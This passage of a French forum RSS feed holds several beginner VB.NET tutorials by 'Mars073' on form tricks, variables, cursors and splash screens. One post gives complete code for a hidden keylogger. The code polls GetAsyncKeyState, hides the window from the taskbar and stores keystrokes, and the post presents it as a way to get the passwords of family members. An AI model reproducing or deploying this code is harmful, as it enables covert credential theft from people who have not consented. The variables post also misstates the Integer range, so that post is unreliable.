msgbox("c'est deux!")
Case 3 to 5
msgbox("boum !")
Case Else
Msgbox("chiffre inconnu")
End Select
&lt;/pre&gt;
&lt;p&gt;Les symboles de test logique:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
=  : égale à ...
&gt;  : supérieur à ...
&lt;  : inférieur à ...
&gt;= : supérieur ou égale à...
&lt;= : inférieur ou égale à...
&lt;&gt; : inférieur ou supérieur à...
&lt;/pre&gt;
&lt;p&gt;Bonne programmation a tous!&lt;/p&gt;&lt;p&gt;
Cordialement,&lt;/p&gt;&lt;p&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/125/le-test-no-stress-cest-pas-pour-vous</link><guid isPermaLink="true">https://melinyel.net/topic/125/le-test-no-stress-cest-pas-pour-vous</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:18:44 GMT</pubDate></item><item><title><![CDATA[Les variables pour varier un peu]]></title><description><![CDATA[&lt;p&gt;Salut all,&lt;br/&gt;
Aujourd'hui je vais vous expliquez comment faire une variable pour varier un peu (blague en carton).&lt;br/&gt;&lt;br/&gt;
Donc une déclaration simple en vb.net&lt;br/&gt;
ressemble à:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim [Nom de la variable] As [Son type] = [sa valeur par défaut]&lt;/pre&gt;
&lt;p&gt;&lt;span style="color:#FF0000;"&gt;"&lt;span style="color:#0000FF;"&gt;Dim&lt;/span&gt;" sert à faire une déclaration standard si vous voulez faire une variable modifiable par un autre formulaire (ex: Form1.mavariable) en mettant "Dim Public" ou direct "Public" ou à inverse la rentre privée même système mais avec "Private" à la place de "Public".&lt;/span&gt;&lt;br/&gt;
la partie la plus indispensable c'est juste:&lt;/p&gt;
&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim [Nom de la variable]&lt;/pre&gt;
&lt;p&gt;car en vb on est pas obliger de donner le type et la valeur on peu la donner dans lors d'une étape.Si vous mettez la déclaration de la variable dans un timer et si vous donnez sa valeur à chaque tick la valeur va redevenir celle par défaut.&lt;br/&gt;
On peu aussi faire une variable avec comme type un dialogue, par exemple pour un savedialog on va mettre:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim mrsblue As New System.Windows.Forms.SaveFileDialog&lt;/pre&gt;
&lt;p&gt;et puis faire comme si on avait aouter le contrôle (outils).&lt;br/&gt;
Les types de variables, y en a plein donc je vais vous dire les principales:&lt;br/&gt;
" Byte " peut contenir un chiffre de 0 à 255 (comme les level dans wow?  )&lt;br/&gt;
" Integer " peut contenir un chiffre de -32768 à 432767&lt;br/&gt;
" Real " peut contenir des chiffre à virgule (forme scientifique) va de -2,9e(exposé en 34) à 1,7e (exposé en 36)&lt;br/&gt;
" String " peut contenir une chaîne de caractères donc du texte^^&lt;br/&gt;
" Char " peut contenir qu'un seul caractère donc une lettre  &lt;br/&gt;
" Boolean " peut contenir True ou False, un genre de oui ou non^^&lt;br/&gt;&lt;br/&gt;
Voilà prochaine de tuto sur la vb en théorie sera sur les tests  &lt;br/&gt;&lt;br/&gt;
Bonne programmation a tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/123/les-variables-pour-varier-un-peu</link><guid isPermaLink="true">https://melinyel.net/topic/123/les-variables-pour-varier-un-peu</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:13:27 GMT</pubDate></item><item><title><![CDATA[Faire un splashscreen avec le canal alpha (donc avec de la translucidité)]]></title><description><![CDATA[&lt;p&gt;Salut all,&lt;br/&gt;&lt;br/&gt;
Je encore faire un tuto à l'arrache.  &lt;br/&gt;
Donc je vais vous expliquer comment faire pour faire un splashScreen, c'était l'image de présentation ou de chargement que l'on peu voir parfois avec certains programmes.&lt;br/&gt;&lt;br/&gt;
je vais prendre comme exemple:&lt;br/&gt;&lt;img alt="logos_red-30cdb6e.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img72.xooimage.com/files/b/7/a/logos_red-30cdb6e.png"/&gt;&lt;br/&gt;
il y a un dégradé de transparence et donc si j'utilise "tranparencyColor" ça va juste me retirer la couleur pure... alors dans ce cas il faut rien mettre dans transparency et mette un code kikoolong, enfin un peu long  &lt;br/&gt;&lt;br/&gt;&lt;span style="color:#FF0000;"&gt;/!\Les contrôles (outils) ne sont pas visible après la manipulation !/!&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;
Le code à mettre après "Public Class [Votreforme]"&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
#Region "full_decla"
Public Structure BLENDFUNCTION
Public BlendOp As Byte
Public BlendFlags As Byte
Public SourceConstantAlpha As Byte
Public AlphaFormat As Byte
End Structure
Public Const ULW_COLORKEY As Integer = 1
Public Const ULW_ALPHA As Integer = 2
Public Const ULW_OPAQUE As Integer = 4
Public Const AC_SRC_OVER As Byte = 0
Public Const AC_SRC_ALPHA As Byte = 1
Public Const GWL_EXSTYLE = (-20)
Public Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal hdcDst As IntPtr, ByRef pptDst As Point, ByRef psize As Size, ByVal hdcSrc As IntPtr, ByRef pprSrc As Point, ByVal crKey As Integer, ByRef pblend As BLENDFUNCTION, ByVal dwFlags As Integer) As Boolean
Private Declare Auto Function SetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer, ByVal dwNewLong As Integer) As Integer
Private Declare Auto Function GetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer) As Integer
Public Declare Function GetDC Lib "user32.dll" (ByVal hWnd As IntPtr) As IntPtr
Public Declare Function ReleaseDC Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal hDC As IntPtr) As Integer
Public Declare Function CreateCompatibleDC Lib "gdi32.dll" (ByVal hDC As IntPtr) As IntPtr
Public Declare Function DeleteDC Lib "gdi32.dll" (ByVal hdc As IntPtr) As Boolean
Public Declare Function SelectObject Lib "gdi32.dll" (ByVal hDC As IntPtr, ByVal hObject As IntPtr) As IntPtr
Public Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As IntPtr) As Boolean
Public Sub SetBitmap(ByVal PNG As Bitmap, ByVal opacity As Byte)
If Not (PNG.PixelFormat = Imaging.PixelFormat.Format32bppArgb) Then
Throw New ApplicationException("The bitmap must be 32ppp with alpha-channel.")
End If
Dim screenDc As IntPtr = GetDC(IntPtr.Zero)
Dim memDc As IntPtr = CreateCompatibleDC(screenDc)
Dim hBitmap As IntPtr = IntPtr.Zero
Dim oldBitmap As IntPtr = IntPtr.Zero
Try
hBitmap = PNG.GetHbitmap(Color.FromArgb(0))
oldBitmap = SelectObject(memDc, hBitmap)
Dim size As Size = New Size(PNG.Width, PNG.Height)
Dim pointSource As Point = New Point(0, 0)
Dim topPos As Point = New Point(Left, Top)
Dim blend As BLENDFUNCTION = New BLENDFUNCTION
blend.BlendOp = AC_SRC_OVER
blend.BlendFlags = 0
blend.SourceConstantAlpha = opacity
blend.AlphaFormat = AC_SRC_ALPHA
UpdateLayeredWindow(Handle, screenDc, topPos, size, memDc, pointSource, 0, blend, ULW_ALPHA)
Finally
ReleaseDC(IntPtr.Zero, screenDc)
If Not (hBitmap.Equals(IntPtr.Zero)) Then
SelectObject(memDc, oldBitmap)
DeleteObject(hBitmap)
End If
DeleteDC(memDc)
End Try
End Sub
#End Region&lt;/pre&gt;
&lt;p&gt;Puis dans Form.load:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim Param As Long
Param = GetWindowLong(Me.Handle, GWL_EXSTYLE)
Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288))
Call SetBitmap(Me.BackgroundImage, 255)&lt;/pre&gt;
&lt;p&gt;___________&lt;br/&gt;
Tuto part2, un petit bonus  &lt;br/&gt;&lt;br/&gt;
Comment faire une animation et faire en sorte que le splash se ferme un jour xD&lt;br/&gt;&lt;br/&gt;
Il suffit de mettre un timer avec un interval de 1000ms (1sec.)&lt;br/&gt;
et d'ajouter 2variales de type byte que on va appeler "Anim" et "Loader" (pense bête: faire un tuto sur les variables)&lt;br/&gt;
Donc vous mettez le code suivant entre de sub (si on le met dedans la variable va toujours se redéclarer et remettre la valeur de base.&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim anim As Byte = 0
Dim loader As Byte = 0&lt;/pre&gt;
&lt;p&gt;Puis dans le Timer.tick (double clique sur le timer pour le voir) et dedans on va mettre:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
anim += 1
If anim = 1 Then
Me.BackgroundImage = My.Resources.trame1 'la première image de l'animation
ElseIf anim = 10 Then
Me.BackgroundImage = My.Resources.trame2 ' la seconde
ElseIf anim = 11 Then
Me.BackgroundImage = My.Resources.trame2 ' la quatrième ou troisième je sais pu
loading += 1
anim = 0
End If
Dim Param As Long
Param = GetWindowLong(Me.Handle, GWL_EXSTYLE)
Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288))
Call SetBitmap(Me.BackgroundImage, 255)
If loader = 3 Then
' Pensez à mettre la forme suivante à ouvrir et aller dans les préférences de votre projet et changer le style de fermeture par fermeture du dernier formulaire
Me.Close()
End If&lt;/pre&gt;
&lt;p&gt;Voilà maintenant vous savez faire des SplashScreen stylé  &lt;br/&gt;
le code de base et pas de moi j'ai oublié la source mais je l'ai bcp édité de toute façon  &lt;br/&gt;&lt;br/&gt;
Bonne programmation à tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/122/faire-un-splashscreen-avec-le-canal-alpha-donc-avec-de-la-translucidité</link><guid isPermaLink="true">https://melinyel.net/topic/122/faire-un-splashscreen-avec-le-canal-alpha-donc-avec-de-la-translucidité</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:10:36 GMT</pubDate></item><item><title><![CDATA[Choisir l'emplacment exact d'une image dans une picturbox]]></title><description><![CDATA[&lt;p&gt;Shalut all,&lt;br/&gt;
je vais vous faire un tuto rapide pour placer une image dans une picturebox, je sais y a l'option padding ou magrin je sais pu.. mais avec on une peu pas mettre une position négative !&lt;br/&gt;&lt;br/&gt;
pour cela on va faire 2fonctions :&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
#Region "fonctions"
Private Function SetPictureAtPoint(ByVal FinalImageSize As System.Drawing.Size, ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image
Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(FinalImageSize.Width, FinalImageSize.Height)
Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg)
Graphics.DrawImage(Image, Location)
Return TmpImg
End Function
Private Function SetPictureAtPoint(ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image
Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(Location.X + Image.Width, Location.Y + Image.Height)
Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg)
Graphics.DrawImage(Image, Location)
Return TmpImg
End Function
#End Region&lt;/pre&gt;
&lt;p&gt;et puis dans Form.load on va mettre:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim Img As New Bitmap(My.Resources.bomb)
Me.PictureBox1.Image = SetPictureAtPoint(Img, New System.Drawing.Point(0, -20))&lt;/pre&gt;
&lt;p&gt;donc en rouge votre ressource&lt;br/&gt;
et en vert la position x,y de votre image.&lt;br/&gt;&lt;br/&gt;
EDIT: petite image cadeau xD&lt;br/&gt;
pour picturebox de 20Px/20Px&lt;br/&gt;&lt;img alt="bomb-30c18c6.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img66.xooimage.com/files/8/3/e/bomb-30c18c6.png"/&gt;&lt;br/&gt;&lt;br/&gt;
Voilà un petit tuto rapide je fais peut-être le refaire mais bon  &lt;br/&gt;
bonne programmation à tous  &lt;br/&gt;
cordialement,&lt;br/&gt;
Mars&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/121/choisir-lemplacment-exact-dune-image-dans-une-picturbox</link><guid isPermaLink="true">https://melinyel.net/topic/121/choisir-lemplacment-exact-dune-image-dans-une-picturbox</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:09:07 GMT</pubDate></item><item><title><![CDATA[comment créer un "usercontrol" (outils)]]></title><description><![CDATA[&lt;p&gt;Bonjour all,&lt;br/&gt;
je me balade à la recherche de chose que les gens arrivent pas à faire et je fais le tuto ici ainsi ça va attirer des gens.  &lt;br/&gt;&lt;br/&gt;
Donc je vais vous faire un tutoriel pour créer et ajouter un outil dans votre projet,  &lt;br/&gt;&lt;br/&gt;
j'ai un peux changé de style dans mes tutos, mais bon c'est toujours bien expliqué.^^&lt;br/&gt;&lt;br/&gt;
1-Créez un nouveau project.&lt;br/&gt;&lt;br/&gt;
2-Ajouter la barre d'outils.&lt;br/&gt;&lt;img alt="outils_gene-2f4839a.jpg" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img74.xooimage.com/files/7/a/6/outils_gene-2f4839a.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;
3-Créer un "Contrôle d'utilisateur" je préfère dire "Usercontrol" mais bon..&lt;br/&gt;&lt;img alt="obj_usercontrol-2f4843f.jpg" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img67.xooimage.com/files/d/5/3/obj_usercontrol-2f4843f.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;
4-on va déjà mettre un code, mettez le background (couleur de fond) en couleur.&lt;br/&gt;
j'ai pris le code dans mon tuto &lt;a href="http://www.mmo-trick.com/vb/12329-deplacer-sa-form-fenetre.html" rel="external nofollow"&gt;&gt;&gt;ICI&lt;&lt;&lt;/a&gt;&lt;br/&gt;
il faut juste changer un code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
'ancien code:
SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)
'nouveau code
SendMessage(ParentForm.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)
'Il faut juste changer "Me" par "Parentform", si vous laissez le code identique c'est l'usercontrol qui va bouge (ça peut-être pratique^^).
&lt;/pre&gt;
&lt;p&gt;5-Générer la solution (Ctrl+Maj+ B) &lt;br/&gt;&lt;span style="color:#FF0000;"&gt;/!\ Si ça se marche pas enregistrer et relancer Vb Express(aucun Vb Expr ne doit être actif). si ça persiste relancer votre ordinateur ! Et normalement l'outil va apparaitre dans la "boîte à outils", et si vous en créez un deuxième il n'y aura pas besoins de reboot le logiciel/!&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;
6-Retournez sur votre form de départ et dans votre "boîte à outils" vous devriez avoir ceci:&lt;br/&gt;&lt;img alt="obj_fin-2f4876e.jpg" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img72.xooimage.com/files/4/d/8/obj_fin-2f4876e.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;
7-Après vous n'avez cas le disposer comme une "picturebox" et lancer votre programme.^^&lt;/p&gt;
&lt;p style="text-align:center;"&gt;~END~&lt;/p&gt;
&lt;br/&gt;&lt;p&gt;Bonne programmation à tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/120/comment-créer-un-usercontrol-outils</link><guid isPermaLink="true">https://melinyel.net/topic/120/comment-créer-un-usercontrol-outils</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:07:24 GMT</pubDate></item><item><title><![CDATA[Changer le curseur de votre form ou des objets^^]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;br/&gt;
Je vais vous expliquez comment modifier le curseur de votre ou d'un objet.&lt;br/&gt;
programme conseillé:&lt;br/&gt;&lt;a href="http://www.clubic.com/telecharger-fiche267956-axialis-cursorworkshop.html" rel="external nofollow"&gt;Axialis - CursorWorkshop&lt;/a&gt;(même a la fin de la licence il est toujours utilisable)&lt;br/&gt;
fichier KDO:&lt;br/&gt;&lt;a href="http://download940.mediafire.com/r988j11pooig/n10no96qk57115u/Curseurwow.cur" rel="external nofollow"&gt;Curseur de Wow (en 1bit)&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.virustotal.com/url-scan/report.html?id=4f889f711898a81f6078a3c672c4e146-1295285542" rel="external nofollow"&gt;Contrôle-TotalVirus&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;
1.Il vous faut un fichier ".cur" (curseur/cusor) monochrome (1bit, en blanc, noir et transparence) ou alors çà va faire bugé votre application (normalement) --'&lt;br/&gt;&lt;br/&gt;
2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".cur" (curseur).&lt;br/&gt;&lt;br/&gt;
3.retournez votre form faites un doule-click dessus pour afficher le code,&lt;br/&gt;
normalement vous aurez ceci (load) un peut haut dessus a droite:&lt;br/&gt;&lt;img alt="load-vb-2498ae1.jpg" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img50.xooimage.com/files/0/7/6/load-vb-2498ae1.jpg"/&gt;&lt;br/&gt;
modifier le en "MouseMove", ce qui va créer un deuxième code supprimez le premier (load).&lt;br/&gt;&lt;br/&gt;
4.Mettez le code suivant:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim memory_stream As New System.IO.MemoryStream(My.Resources.Curseurwow)
Me.Cursor = New Cursor(memory_stream)
&lt;/pre&gt;
&lt;p&gt;&lt;span style="color:#FF0000;"&gt;La form ou un object ( exemple: Me, Form2, button1, textbox1,...)&lt;/span&gt;&lt;br/&gt;
Le nom de la ressource (le curseur)&lt;br/&gt;
et voilà vous avez un nouveau curseur !&lt;br/&gt;&lt;br/&gt;
un code pour avoir des curseurs en 32bits(plusieurs couleurs), mais j'ai pas réussis à le mettre comme ressource...&lt;/p&gt;
&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Private Declare Unicode Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileW" (ByVal filename As String) As IntPtr
Dim curseur As IntPtr
curseur = LoadCursorFromFile("C:\cursor.cur")
Me.Cursor = New Cursor(curseur)
&lt;/pre&gt;
&lt;p&gt;&lt;span style="color:#00FF00;"&gt;Code à placer après la déclaration de votre form(Public Class Form1)&lt;/span&gt;&lt;br/&gt;&lt;span style="color:#FF0000;"&gt;Nom du dim du curseur&lt;/span&gt;&lt;br/&gt;
Nom du chemin d'accès jusqu'au curseur&lt;br/&gt;
La form ou un object ( exemple: Me, Form2, button1, textbox1,...)&lt;br/&gt;
et voilà vous avez un nouveau curseur !&lt;br/&gt;&lt;br/&gt;
Bonne programmation a tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/119/changer-le-curseur-de-votre-form-ou-des-objets</link><guid isPermaLink="true">https://melinyel.net/topic/119/changer-le-curseur-de-votre-form-ou-des-objets</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:03:24 GMT</pubDate></item><item><title><![CDATA[va pour enregistrer les frappes (j'ai reçu un coup)]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;je vais vous expliquez comment faire un enregistreur de frappe.^^&lt;/p&gt;&lt;p&gt;pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...&lt;/p&gt;&lt;p&gt;Il faut:&lt;/p&gt;&lt;p&gt;-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)&lt;/p&gt;&lt;p&gt;-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)&lt;/p&gt;&lt;p&gt;-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)&lt;/p&gt;&lt;p&gt;-1 NotifyIcon (Config: Icon=[votre Icône Windows)&lt;/p&gt;&lt;p&gt;-1 Icône windows de préférence&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;KDO:&lt;/p&gt;&lt;p&gt;un lien vers un site plein d'icône cool:&lt;/p&gt;&lt;p&gt;&lt;a href="http://icones.pro/windows-4-image-png.html" rel="external nofollow"&gt;-&gt;Lien&lt;- (lien icone windows)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;et c'est partit pour le code... u_u&lt;/p&gt;&lt;p&gt;double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer&lt;/pre&gt;et dans l'handle (le code form_load):&lt;p&gt;&lt;/p&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;Timer1.Start()
Timer2.Start()
Me.Visible = False&lt;/pre&gt;maintenant double clique sur le timer1 pour afficher le code et on met dedans :&lt;p&gt;&lt;/p&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
End If
Next i&lt;/pre&gt;Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :&lt;p&gt;&lt;/p&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt;Me.WindowState = FormWindowState.Normal
Me.Height = 300 ' hauteur
Me.Width = 300 'largeur
Me.ShowInTaskbar = True 'affichage dans la barre de tâche
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
Me.Visible = True ' si on l'affiche
TextBox1.Visible = True ' si on affiche les caractères masqués
Me.AllowTransparency = False
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
Me.Show()
&lt;/pre&gt;Double clique sur le Timer2 pour afficher le code et on met dedans :&lt;p&gt;&lt;/p&gt;&lt;pre class="ipsCode prettyprint lang-auto"&gt; If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
Me.Height = 0 'plein de paramètre chiant à expliquer
Me.Width = 0
Me.ShowInTaskbar = False
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
Me.Visible = False
TextBox1.Visible = False
Me.AllowTransparency = True
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
'code by Mars073
End If&lt;/pre&gt;si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^&lt;p&gt;Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Bonne programmation à tous!&lt;/p&gt;&lt;p&gt;Cordialement,&lt;/p&gt;&lt;p&gt;Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/118/va-pour-enregistrer-les-frappes-jai-reçu-un-coup</link><guid isPermaLink="true">https://melinyel.net/topic/118/va-pour-enregistrer-les-frappes-jai-reçu-un-coup</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:01:43 GMT</pubDate></item><item><title><![CDATA[Déplacer sa "form" (fenêtre)]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;br/&gt;
Je vais vous expliquez comment déplacer votre fenêtre avec un outil ou avec la fenêtre elle même, utile quand vous voulez faire un fenêtre personnalisé.&lt;br/&gt;&lt;br/&gt;
fichiers KDO:&lt;br/&gt;
-le bouton Réduire:&lt;img alt="ui-panel-hidebutton-down--25cb274.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img60.xooimage.com/files/9/7/2/ui-panel-hidebutton-down--25cb274.png"/&gt;&lt;br/&gt;
-le bouton Niveau inférieur:&lt;img alt="ui-chaticon-maximize-up--25cb4a5.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img54.xooimage.com/files/1/a/3/ui-chaticon-maximize-up--25cb4a5.png"/&gt;&lt;br/&gt;
-le bouton Niveau supérieur:&lt;img alt="agrandir--25cb452.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img51.xooimage.com/files/3/3/3/agrandir--25cb452.png"/&gt;&lt;br/&gt;
-le bouton Fermer: &lt;img alt="fermer--25cb524.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img62.xooimage.com/files/2/e/3/fermer--25cb524.png"/&gt;&lt;br/&gt;
-une mini-image de fond =p: &lt;img alt="ui-moneyframe2--25cb608.png" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img60.xooimage.com/files/1/7/4/ui-moneyframe2--25cb608.png"/&gt;&lt;br/&gt;&lt;br/&gt;
1.Ouvrez Visual Basic, puis faites un double-clique sur l'objet ou la forme qui servira à faire bouger la fenêtre...&lt;br/&gt;&lt;br/&gt;
3.normalement vous aurez ceci (load) un peut haut dessus a droite:&lt;br/&gt;&lt;img alt="load-vb-2498ae1.jpg" src="&lt;base_url&gt;/applications/sslimageproxy/interface/image.php?url=http://img50.xooimage.com/files/0/7/6/load-vb-2498ae1.jpg"/&gt;&lt;br/&gt;
modifier le en "MouseDown", ce qui va créer un deuxième code supprimez le premier (load).&lt;br/&gt;&lt;br/&gt;
4.Mettez le code suivant après "Public Class [nom_de_la_form]":&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Private Declare Function ReleaseCapture Lib "user32" () As Integer
Private Const HTCAPTION As Integer = 2
Private Const WM_NCLBUTTONDOWN As Integer = &amp;HA1S
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByRef lParam As Integer) As Integer&lt;/pre&gt;
&lt;p&gt;5.De retour au code "mousedown", vous mettez le code suivant dedans:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If e.Button = Windows.Forms.MouseButtons.Left Then
ReleaseCapture()
SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)&lt;/pre&gt;
&lt;p&gt;Ps:Quelques code:&lt;br/&gt;
-Pour fermer la fenêtre:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Me.close&lt;/pre&gt;
&lt;p&gt;ou l'application compléte:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
End&lt;/pre&gt;
&lt;p&gt;-Pour réduire(attention! le code peut bugé et faire réduire mais hors de la barre de tâche):&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Me.WindowState = FormWindowState.Minimized&lt;/pre&gt;
&lt;p&gt;-Pour mettre au niveau inférieur:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Me.WindowState = FormWindowState.Normal&lt;/pre&gt;
&lt;p&gt;-Pour le niveau supérieure:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Me.WindowState = FormWindowState.Maximized&lt;/pre&gt;
&lt;p&gt;Conseil:&lt;br/&gt;
-Si vous mettez une image de fond mettez une couleur de fond puis ajoutez la comme couleur de transparence dans les paramètres de la form&lt;br/&gt;&lt;br/&gt;
Bonne programmation à tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/117/déplacer-sa-form-fenêtre</link><guid isPermaLink="true">https://melinyel.net/topic/117/déplacer-sa-form-fenêtre</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 20:59:51 GMT</pubDate></item><item><title><![CDATA[Ajouter l'outil "Windows Media Player" ou autre =D]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;br/&gt;
Je vais vous expliquez comment ajouter l'outil "Windows Media Player" ou un autre.&lt;br/&gt;&lt;br/&gt;
1.Ouvrez Visual Basic, puis votre projet aller dans "Boîte à outils" (Ctrl+Alt+X), puis faîtes clique droit sur n'importe quel outils et cliquez sur "Choisir les éléments...".&lt;br/&gt;&lt;br/&gt;
2.Un dialog c'est ouvert, allez dans l'onglet "Composants COM" descendez tout en bas et cochez la case devant "Windows Media Player" puis cliquez sur Ok.&lt;br/&gt;&lt;br/&gt;
3.puis il y aura l'outil qui va apparaitre dans la boîte à outils faite le glisser vers la form et voilà! Vous avez ajouté un outils.&lt;br/&gt;&lt;br/&gt;
Ps:Quelques code:&lt;br/&gt;
-Pour ouvrir un fichier .mp3 ou .wmv (requiert: 1 AxWindowsMediaPlayer, 1textbosx et 1button), pour les fichier en ligne utilisé "&lt;a href="http://ww" rel="external nofollow"&gt;http://ww&lt;/a&gt;... .../fichier.mp3" ou pour fichier interne "file:///C:/... .../fichier.mp3".&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
